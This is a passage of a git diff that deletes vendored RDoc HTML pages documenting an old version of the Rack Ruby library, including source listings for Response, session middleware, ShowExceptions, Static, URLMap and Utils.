- client_error?   - content_length   - content_type   - empty?   - forbidden?   - include?   - informational?   - invalid?   - location   - not_found?   - ok?   - redirect?   - redirection?   - server_error?   - successful?   -
-
- -
- - - - -
- - - - - -
-

Attributes

- -
- - - - - - - - - - - -
headers [R]  -Headers - -
original_headers [R]  -Headers - -
-
-
- - - - -
-

Public Instance methods

- -
- - -
- - client_error?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 138
-138:       def client_error?;  @status >= 400 && @status < 500;       end
-
-
-
-
- -
- - -
- - content_length() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 159
-159:       def content_length
-160:         cl = headers["Content-Length"]
-161:         cl ? cl.to_i : cl
-162:       end
-
-
-
-
- -
- - -
- - content_type() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 155
-155:       def content_type
-156:         headers["Content-Type"]
-157:       end
-
-
-
-
- -
- - -
- - empty?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 146
-146:       def empty?;         [201, 204, 304].include?      @status; end
-
-
-
-
- -
- - -
- - forbidden?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 142
-142:       def forbidden?;     @status == 403;                        end
-
-
-
-
- -
- - -
- - include?(header) - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 151
-151:       def include?(header)
-152:         !!headers[header]
-153:       end
-
-
-
-
- -
- - -
- - informational?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 135
-135:       def informational?; @status >= 100 && @status < 200;       end
-
-
-
-
- -
- - -
- - invalid?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 133
-133:       def invalid?;       @status < 100 || @status >= 600;       end
-
-
-
-
- -
- - -
- - location() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 164
-164:       def location
-165:         headers["Location"]
-166:       end
-
-
-
-
- -
- - -
- - not_found?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 143
-143:       def not_found?;     @status == 404;                        end
-
-
-
-
- -
- - -
- - ok?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 141
-141:       def ok?;            @status == 200;                        end
-
-
-
-
- -
- - -
- - redirect?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 145
-145:       def redirect?;      [301, 302, 303, 307].include? @status; end
-
-
-
-
- -
- - -
- - redirection?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 137
-137:       def redirection?;   @status >= 300 && @status < 400;       end
-
-
-
-
- -
- - -
- - server_error?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 139
-139:       def server_error?;  @status >= 500 && @status < 600;       end
-
-
-
-
- -
- - -
- - successful?() - -
- -
-

[Source]

-
-
-     # File lib/rack/response.rb, line 136
-136:       def successful?;    @status >= 200 && @status < 300;       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session.html b/vendor/plugins/rack/doc/classes/Rack/Session.html deleted file mode 100644 index 5ab547bb..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Session.html +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - Module: Rack::Session - - - - - - - - - - - - - -
- - - -
- - - -
- - -
- - - - -
- -
-

Classes and Modules

- - Class Rack::Session::Cookie
-Class Rack::Session::Memcache
-Class Rack::Session::Pool
- -
- - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html b/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html deleted file mode 100644 index 87b616d0..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html +++ /dev/null @@ -1,200 +0,0 @@ - - - - - - Class: Rack::Session::Cookie - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Session::Cookie
In: - - lib/rack/session/cookie.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::Session::Cookie provides simple cookie -based session management. The session is a Ruby Hash stored as base64 -encoded marshalled data set to :key (default: rack.session). When the -secret key is set, cookie data is checked for data integrity. -

-

-Example: -

-
-    use Rack::Session::Cookie, :key => 'rack.session',
-                               :domain => 'foo.com',
-                               :path => '/',
-                               :expire_after => 2592000,
-                               :secret => 'change_me'
-
-    All parameters are optional.
-
- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app, options={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/session/cookie.rb, line 24
-24:       def initialize(app, options={})
-25:         @app = app
-26:         @key = options[:key] || "rack.session"
-27:         @secret = options[:secret]
-28:         @default_options = {:domain => nil,
-29:           :path => "/",
-30:           :expire_after => nil}.merge(options)
-31:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/session/cookie.rb, line 33
-33:       def call(env)
-34:         load_session(env)
-35:         status, headers, body = @app.call(env)
-36:         commit_session(env, status, headers, body)
-37:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html b/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html deleted file mode 100644 index 7c8d7f74..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html +++ /dev/null @@ -1,204 +0,0 @@ - - - - - - Class: Rack::Session::Memcache - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Session::Memcache
In: - - lib/rack/session/memcache.rb - -
-
Parent: - Abstract::ID -
-
- - -
- - - -
- -
-

-Rack::Session::Memcache provides simple cookie -based session management. Session data is -stored in memcached. The corresponding session key is maintained in the -cookie. You may treat Session::Memcache as you -would Session::Pool with the following caveats. -

-
    -
  • Setting :expire_after to 0 would note to the Memcache server to hang onto the session data -until it would drop it according to it‘s own specifications. However, -the cookie sent to the client would expire immediately. - -
    • -
-

-Note that memcache does drop data before it may be listed to expire. For a -full description of behaviour, please see memcache‘s documentation. -

- -
- - -
- -
-

Methods

- -
- new   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
DEFAULT_OPTIONS=Abstract::ID::DEFAULT_OPTIONS.merge({ :namespace => 'rack:session', :memcache_server => 'localhost:11211'
-
-
- - - -
-

Attributes

- -
- - - - - - - - - - - -
mutex [R] 
pool [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(app, options={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/session/memcache.rb, line 29
-29:       def initialize(app, options={})
-30:         super
-31:         @pool = MemCache.new @default_options[:memcache_server], @default_options
-32:         unless @pool.servers.any?{|s|s.alive?}
-33:           raise "#{self} unable to find server during initialization."
-34:         end
-35:         @mutex = Mutex.new
-36:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html b/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html deleted file mode 100644 index 28945712..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Session/Pool.html +++ /dev/null @@ -1,201 +0,0 @@ - - - - - - Class: Rack::Session::Pool - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Session::Pool
In: - - lib/rack/session/pool.rb - -
-
Parent: - Abstract::ID -
-
- - -
- - - -
- -
-

-Rack::Session::Pool provides simple cookie based -session management. Session data is stored in -a hash held by @pool. In the context of a multithreaded environment, -sessions being committed to the pool is done in a merging manner. -

-

-Example: -

-
-  myapp = MyRackApp.new
-  sessioned = Rack::Session::Pool.new(myapp,
-    :key => 'rack.session',
-    :domain => 'foo.com',
-    :path => '/',
-    :expire_after => 2592000
-  )
-  Rack::Handler::WEBrick.run sessioned
-
- -
- - -
- -
-

Methods

- -
- new   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
DEFAULT_OPTIONS=Abstract::ID::DEFAULT_OPTIONS.dup
-
-
- - - -
-

Attributes

- -
- - - - - - - - - - - -
mutex [R] 
pool [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(app, options={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/session/pool.rb, line 30
-30:       def initialize(app, options={})
-31:         super
-32:         @pool = Hash.new
-33:         @mutex = Mutex.new
-34:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html b/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html deleted file mode 100644 index f01daf55..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html +++ /dev/null @@ -1,260 +0,0 @@ - - - - - - Class: Rack::ShowExceptions - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::ShowExceptions
In: - - lib/rack/showexceptions.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::ShowExceptions catches all -exceptions raised from the app it wraps. It shows a useful backtrace with -the sourcefile and clickable context, the whole Rack environment and the request data. -

-

-Be careful when you use this on public-facing sites as it could reveal -information helpful to attackers. -

- -
- - -
- -
-

Methods

- -
- call   - new   - pretty   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
CONTEXT=7
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/showexceptions.rb, line 17
-17:     def initialize(app)
-18:       @app = app
-19:       @template = ERB.new(TEMPLATE)
-20:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/showexceptions.rb, line 22
-22:     def call(env)
-23:       @app.call(env)
-24:     rescue StandardError, LoadError, SyntaxError => e
-25:       backtrace = pretty(env, e)
-26:       [500,
-27:        {"Content-Type" => "text/html",
-28:         "Content-Length" => backtrace.join.size.to_s},
-29:        backtrace]
-30:     end
-
-
-
-
- -
- - -
- - pretty(env, exception) - -
- -
-

[Source]

-
-
-    # File lib/rack/showexceptions.rb, line 32
-32:     def pretty(env, exception)
-33:       req = Rack::Request.new(env)
-34:       path = (req.script_name + req.path_info).squeeze("/")
-35: 
-36:       frames = exception.backtrace.map { |line|
-37:         frame = OpenStruct.new
-38:         if line =~ /(.*?):(\d+)(:in `(.*)')?/
-39:           frame.filename = $1
-40:           frame.lineno = $2.to_i
-41:           frame.function = $4
-42: 
-43:           begin
-44:             lineno = frame.lineno-1
-45:             lines = ::File.readlines(frame.filename)
-46:             frame.pre_context_lineno = [lineno-CONTEXT, 0].max
-47:             frame.pre_context = lines[frame.pre_context_lineno...lineno]
-48:             frame.context_line = lines[lineno].chomp
-49:             frame.post_context_lineno = [lineno+CONTEXT, lines.size].min
-50:             frame.post_context = lines[lineno+1..frame.post_context_lineno]
-51:           rescue
-52:           end
-53: 
-54:           frame
-55:         else
-56:           nil
-57:         end
-58:       }.compact
-59: 
-60:       env["rack.errors"].puts "#{exception.class}: #{exception.message}"
-61:       env["rack.errors"].puts exception.backtrace.map { |l| "\t" + l }
-62:       env["rack.errors"].flush
-63: 
-64:       [@template.result(binding)]
-65:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html b/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html deleted file mode 100644 index c543430f..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/ShowStatus.html +++ /dev/null @@ -1,199 +0,0 @@ - - - - - - Class: Rack::ShowStatus - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::ShowStatus
In: - - lib/rack/showstatus.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::ShowStatus catches all empty responses -the app it wraps and replaces them with a site explaining the error. -

-

-Additional details can be put into rack.showstatus.detail and will -be shown as HTML. If such details exist, the error page is always rendered, -even if the reply was not empty. -

- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app) - -
- -
-

[Source]

-
-
-    # File lib/rack/showstatus.rb, line 14
-14:     def initialize(app)
-15:       @app = app
-16:       @template = ERB.new(TEMPLATE)
-17:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/showstatus.rb, line 19
-19:     def call(env)
-20:       status, headers, body = @app.call(env)
-21:       headers = Utils::HeaderHash.new(headers)
-22:       empty = headers['Content-Length'].to_i <= 0
-23: 
-24:       # client or server error, or explicit message
-25:       if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
-26:         req = Rack::Request.new(env)
-27:         message = Rack::Utils::HTTP_STATUS_CODES[status.to_i] || status.to_s
-28:         detail = env["rack.showstatus.detail"] || message
-29:         body = @template.result(binding)
-30:         size = body.respond_to?(:bytesize) ? body.bytesize : body.size
-31:         [status, headers.merge("Content-Type" => "text/html", "Content-Length" => size.to_s), [body]]
-32:       else
-33:         [status, headers, body]
-34:       end
-35:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Static.html b/vendor/plugins/rack/doc/classes/Rack/Static.html deleted file mode 100644 index 70b5ea72..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Static.html +++ /dev/null @@ -1,205 +0,0 @@ - - - - - - Class: Rack::Static - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Static
In: - - lib/rack/static.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-The Rack::Static middleware intercepts requests -for static files (javascript files, images, stylesheets, etc) based on the -url prefixes passed in the options, and serves them using a Rack::File object. This allows a Rack stack to serve both static and dynamic -content. -

-

-Examples: -

-
-    use Rack::Static, :urls => ["/media"]
-    will serve all requests beginning with /media from the "media" folder
-    located in the current directory (ie media/*).
-
-    use Rack::Static, :urls => ["/css", "/images"], :root => "public"
-    will serve all requests beginning with /css or /images from the folder
-    "public" in the current directory (ie public/css/* and public/images/*)
-
- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(app, options={}) - -
- -
-

[Source]

-
-
-    # File lib/rack/static.rb, line 19
-19:     def initialize(app, options={})
-20:       @app = app
-21:       @urls = options[:urls] || ["/favicon.ico"]
-22:       root = options[:root] || Dir.pwd
-23:       @file_server = Rack::File.new(root)
-24:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/static.rb, line 26
-26:     def call(env)
-27:       path = env["PATH_INFO"]
-28:       can_serve = @urls.any? { |url| path.index(url) == 0 }
-29: 
-30:       if can_serve
-31:         @file_server.call(env)
-32:       else
-33:         @app.call(env)
-34:       end
-35:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/URLMap.html b/vendor/plugins/rack/doc/classes/Rack/URLMap.html deleted file mode 100644 index 9e544c77..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/URLMap.html +++ /dev/null @@ -1,214 +0,0 @@ - - - - - - Class: Rack::URLMap - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::URLMap
In: - - lib/rack/urlmap.rb - -
-
Parent: - Object -
-
- - -
- - - -
- -
-

-Rack::URLMap takes a hash mapping urls or paths -to apps, and dispatches accordingly. Support for HTTP/1.1 host names exists -if the URLs start with http:// or https://. -

-

-URLMap modifies the SCRIPT_NAME and PATH_INFO -such that the part relevant for dispatch is in the SCRIPT_NAME, and the -rest in the PATH_INFO. This should be taken care of when you need to -reconstruct the URL in order to create links. -

-

-URLMap dispatches in such a way that the longest -paths are tried first, since they are most specific. -

- -
- - -
- -
-

Methods

- -
- call   - new   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(map) - -
- -
-

[Source]

-
-
-    # File lib/rack/urlmap.rb, line 15
-15:     def initialize(map)
-16:       @mapping = map.map { |location, app|
-17:         if location =~ %r{\Ahttps?://(.*?)(/.*)}
-18:           host, location = $1, $2
-19:         else
-20:           host = nil
-21:         end
-22: 
-23:         unless location[0] == ?/
-24:           raise ArgumentError, "paths need to start with /"
-25:         end
-26:         location = location.chomp('/')
-27: 
-28:         [host, location, app]
-29:       }.sort_by { |(h, l, a)| [-l.size, h.to_s.size] }  # Longest path first
-30:     end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - call(env) - -
- -
-

[Source]

-
-
-    # File lib/rack/urlmap.rb, line 32
-32:     def call(env)
-33:       path = env["PATH_INFO"].to_s.squeeze("/")
-34:       hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT')
-35:       @mapping.each { |host, location, app|
-36:         next unless (hHost == host || sName == host \
-37:           || (host.nil? && (hHost == sName || hHost == sName+':'+sPort)))
-38:         next unless location == path[0, location.size]
-39:         next unless path[location.size] == nil || path[location.size] == ?/
-40:         env["SCRIPT_NAME"] += location
-41:         env["PATH_INFO"]    = path[location.size..-1]
-42:         return app.call(env)
-43:       }
-44:       [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]]
-45:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils.html b/vendor/plugins/rack/doc/classes/Rack/Utils.html deleted file mode 100644 index e0ffa200..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Utils.html +++ /dev/null @@ -1,377 +0,0 @@ - - - - - - Module: Rack::Utils - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Utils
In: - - lib/rack/utils.rb - -
-
-
- - -
- - - -
- -
-

-Rack::Utils contains a grab-bag of useful methods -for writing web applications adopted from all kinds of Ruby libraries. -

- -
- - -
- -
-

Methods

- -
- build_query   - escape   - escape_html   - parse_query   - select_best_encoding   - unescape   -
-
- -
- - - - -
- -
-

Classes and Modules

- - Module Rack::Utils::Multipart
-Class Rack::Utils::Context
-Class Rack::Utils::HeaderHash
- -
- -
-

Constants

- -
- - - - - - - - - - - - - - - -
HTTP_STATUS_CODES={ 100 => 'Continue', 101 => 'Switching Protocols', 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 307 => 'Temporary Redirect', 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported'  -Every standard HTTP code mapped to the appropriate message. Stolen from -Mongrel. - -
STATUS_WITH_NO_ENTITY_BODY=Set.new((100..199).to_a << 204 << 304)  -Responses with HTTP status codes that should not have an entity body - -
-
-
- - - - - - - -
-

Public Instance methods

- -
- - -
- - build_query(params) - -
- -
-

[Source]

-
-
-    # File lib/rack/utils.rb, line 54
-54:     def build_query(params)
-55:       params.map { |k, v|
-56:         if v.class == Array
-57:           build_query(v.map { |x| [k, x] })
-58:         else
-59:           escape(k) + "=" + escape(v)
-60:         end
-61:       }.join("&")
-62:     end
-
-
-
-
- -
- - -
- - escape(s) - -
- -
-

-Performs URI escaping so that you can construct proper query strings -faster. Use this rather than the cgi.rb version since it‘s faster. -(Stolen from Camping). -

-

[Source]

-
-
-    # File lib/rack/utils.rb, line 12
-12:     def escape(s)
-13:       s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {
-14:         '%'+$1.unpack('H2'*$1.size).join('%').upcase
-15:       }.tr(' ', '+')
-16:     end
-
-
-
-
- -
- - -
- - escape_html(string) - -
- -
-

-Escape ampersands, brackets and quotes to their HTML/XML entities. -

-

[Source]

-
-
-    # File lib/rack/utils.rb, line 66
-66:     def escape_html(string)
-67:       string.to_s.gsub("&", "&amp;").
-68:         gsub("<", "&lt;").
-69:         gsub(">", "&gt;").
-70:         gsub("'", "&#39;").
-71:         gsub('"', "&quot;")
-72:     end
-
-
-
-
- -
- - -
- - parse_query(qs, d = '&;') - -
- -
-

-Stolen from Mongrel, with some small modifications: Parses a query string -by breaking it up at the ’&’ and ’;’ -characters. You can also use this to parse cookies by changing the -characters used in the second parameter (which defaults to -’&;’). -

-

[Source]

-
-
-    # File lib/rack/utils.rb, line 33
-33:     def parse_query(qs, d = '&;')
-34:       params = {}
-35: 
-36:       (qs || '').split(/[#{d}] */n).each do |p|
-37:         k, v = unescape(p).split('=', 2)
-38: 
-39:         if cur = params[k]
-40:           if cur.class == Array
-41:             params[k] << v
-42:           else
-43:             params[k] = [cur, v]
-44:           end
-45:         else
-46:           params[k] = v
-47:         end
-48:       end
-49: 
-50:       return params
-51:     end
-
-
-
-
- -
- - -
- - select_best_encoding(available_encodings, accept_encoding) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 75
- 75:     def select_best_encoding(available_encodings, accept_encoding)
- 76:       # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
- 77: 
- 78:       expanded_accept_encoding =
- 79:         accept_encoding.map { |m, q|
- 80:           if m == "*"
- 81:             (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] }
- 82:           else
- 83:             [[m, q]]
- 84:           end
- 85:         }.inject([]) { |mem, list|
- 86:           mem + list
- 87:         }
- 88: 
- 89:       encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m }
- 90: 
- 91:       unless encoding_candidates.include?("identity")
- 92:         encoding_candidates.push("identity")
- 93:       end
- 94: 
- 95:       expanded_accept_encoding.find_all { |m, q|
- 96:         q == 0.0
- 97:       }.each { |m, _|
- 98:         encoding_candidates.delete(m)
- 99:       }
-100: 
-101:       return (encoding_candidates & available_encodings)[0]
-102:     end
-
-
-
-
- -
- - -
- - unescape(s) - -
- -
-

-Unescapes a URI escaped string. (Stolen from Camping). -

-

[Source]

-
-
-    # File lib/rack/utils.rb, line 20
-20:     def unescape(s)
-21:       s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){
-22:         [$1.delete('%')].pack('H*')
-23:       }
-24:     end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html b/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html deleted file mode 100644 index 8d937df4..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Utils/Context.html +++ /dev/null @@ -1,299 +0,0 @@ - - - - - - Class: Rack::Utils::Context - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Utils::Context
In: - - lib/rack/utils.rb - -
-
Parent: - Proc -
-
- - -
- - - -
- -
-

-The recommended manner in which to implement a contexting application is to -define a method context in which a new Context is -instantiated. -

-

-As a Context is a glorified block, it is highly -recommended that you define the contextual block within the -application‘s operational scope. This would typically the application -as you‘re place into Rack‘s -stack. -

-
-  class MyObject
-    ...
-    def context app
-      Rack::Utils::Context.new app do |env|
-        do_stuff
-        response = app.call(env)
-        do_more_stuff
-      end
-    end
-    ...
-  end
-
-

-mobj = MyObject.new app = mobj.context other_app Rack::Handler::Mongrel.new -app -

- -
- - -
- -
-

Methods

- -
- context   - inspect   - new   - pretty_print   -
-
- -
- - - - -
- - - -
-

External Aliases

- -
- - - - - - -
inspect->old_inspect
-
-
- - -
-

Attributes

- -
- - - - - - - - - - - -
app [R] 
for [R] 
-
-
- - - - -
-

Public Class methods

- -
- - -
- - new(app_f, app_r) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 130
-130:       def initialize app_f, app_r
-131:         raise 'running context not provided' unless app_f
-132:         raise 'running context does not respond to #context' unless app_f.respond_to? :context
-133:         raise 'application context not provided' unless app_r
-134:         raise 'application context does not respond to #call' unless app_r.respond_to? :call
-135:         @for = app_f
-136:         @app = app_r
-137:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - context(app_r) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 141
-141:       def context app_r
-142:         raise 'new application context not provided' unless app_r
-143:         raise 'new application context does not respond to #call' unless app_r.respond_to? :call
-144:         @for.context app_r
-145:       end
-
-
-
-
- -
- - -
- - inspect() - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 138
-138:       def inspect
-139:         "#{old_inspect} ==> #{@for.inspect} ==> #{@app.inspect}"
-140:       end
-
-
-
-
- -
- - -
- - pretty_print(pp) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 146
-146:       def pretty_print pp
-147:         pp.text old_inspect
-148:         pp.nest 1 do
-149:           pp.breakable
-150:           pp.text '=for> '
-151:           pp.pp @for
-152:           pp.breakable
-153:           pp.text '=app> '
-154:           pp.pp @app
-155:         end
-156:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html b/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html deleted file mode 100644 index e33e1653..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html +++ /dev/null @@ -1,373 +0,0 @@ - - - - - - Class: Rack::Utils::HeaderHash - - - - - - - - - - -
- - - - - - - - - - - - - - -
ClassRack::Utils::HeaderHash
In: - - lib/rack/utils.rb - -
-
Parent: - Hash -
-
- - -
- - - -
- -
-

-A case-insensitive Hash that preserves the original case of a header when -set. -

- -
- - -
- -
-

Methods

- -
- []   - []=   - delete   - has_key?   - include?   - key?   - member?   - merge   - merge!   - new   - to_hash   -
-
- -
- - - - -
- - - - - - - - - -
-

Public Class methods

- -
- - -
- - new(hash={}) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 162
-162:       def initialize(hash={})
-163:         @names = {}
-164:         hash.each { |k, v| self[k] = v }
-165:       end
-
-
-
-
- -

Public Instance methods

- -
- - -
- - [](k) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 171
-171:       def [](k)
-172:         super @names[k.downcase]
-173:       end
-
-
-
-
- -
- - -
- - []=(k, v) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 175
-175:       def []=(k, v)
-176:         delete k
-177:         @names[k.downcase] = k
-178:         super k, v
-179:       end
-
-
-
-
- -
- - -
- - delete(k) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 181
-181:       def delete(k)
-182:         super @names.delete(k.downcase)
-183:       end
-
-
-
-
- -
- - -
- has_key?(k) -
- -
-

-Alias for include? -

-
-
- -
- - -
- - include?(k) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 185
-185:       def include?(k)
-186:         @names.has_key? k.downcase
-187:       end
-
-
-
-
- -
- - -
- key?(k) -
- -
-

-Alias for include? -

-
-
- -
- - -
- member?(k) -
- -
-

-Alias for include? -

-
-
- -
- - -
- - merge(other) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 198
-198:       def merge(other)
-199:         hash = dup
-200:         hash.merge! other
-201:       end
-
-
-
-
- -
- - -
- - merge!(other) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 193
-193:       def merge!(other)
-194:         other.each { |k, v| self[k] = v }
-195:         self
-196:       end
-
-
-
-
- -
- - -
- - to_hash() - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 167
-167:       def to_hash
-168:         {}.replace(self)
-169:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html b/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html deleted file mode 100644 index 0a984a6f..00000000 --- a/vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - Module: Rack::Utils::Multipart - - - - - - - - - - -
- - - - - - - - - - -
ModuleRack::Utils::Multipart
In: - - lib/rack/utils.rb - -
-
-
- - -
- - - -
- -
-

-A multipart form data parser, adapted from IOWA. -

-

-Usually, Rack::Request#POST takes -care of calling this. -

- -
- - -
- -
-

Methods

- -
- parse_multipart   -
-
- -
- - - - -
- - -
-

Constants

- -
- - - - - - -
EOL="\r\n"
-
-
- - - - - - - -
-

Public Class methods

- -
- - -
- - parse_multipart(env) - -
- -
-

[Source]

-
-
-     # File lib/rack/utils.rb, line 259
-259:       def self.parse_multipart(env)
-260:         unless env['CONTENT_TYPE'] =~
-261:             %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
-262:           nil
-263:         else
-264:           boundary = "--#{$1}"
-265: 
-266:           params = {}
-267:           buf = ""
-268:           content_length = env['CONTENT_LENGTH'].to_i
-269:           input = env['rack.input']
-270: 
-271:           boundary_size = boundary.size + EOL.size
-272:           bufsize = 16384
-273: 
-274:           content_length -= boundary_size
-275: 
-276:           status = input.read(boundary_size)
-277:           raise EOFError, "bad content body"  unless status == boundary + EOL
-278: 
-279:           rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/
-280: 
-281:           loop {
-282:             head = nil
-283:             body = ''
-284:             filename = content_type = name = nil
-285: 
-286:             until head && buf =~ rx
